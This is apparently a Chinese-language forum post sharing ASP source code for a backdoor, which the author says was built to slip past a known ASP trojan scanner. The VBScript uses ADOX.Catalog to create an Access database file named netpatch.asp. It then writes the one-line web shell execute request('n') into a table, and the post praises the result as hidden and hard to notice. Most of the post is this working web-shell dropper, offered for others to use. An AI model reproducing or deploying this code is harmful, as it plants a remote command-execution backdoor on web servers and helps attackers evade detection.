新型ASP後亹源程式碼分析

本是為了逃LAKER2兄 查ASP木馬程式的
現在已經挑戰成功，已經加為檢查對象了。公布出代碼給冰點的朋友使使，希望大家喜歡！

利用的是ADOX.Catalog組件

複製代碼 代碼如下:<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)

set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 建立成功<br> "
else
Response.Write "建立失敗，原因： " & err.description
Response.End
end if

Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile

sql="CREATE TABLE fdata([data] Memo)"
conn.execute(sql)

Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="<%execute request(“n”))%>" '(注釋記得去掉！一句話後門 execute request(“n”))
rs.update

%>

此指令碼主要是利用ADOX.Catalog組件
建立一個名稱為netpatch.asp的空資料庫檔案
然後把一句話木馬插入建立的表中作為C/S版本的ASP馬用！

優點，比較隱蔽，不容易讓人看出這是什麼作用的！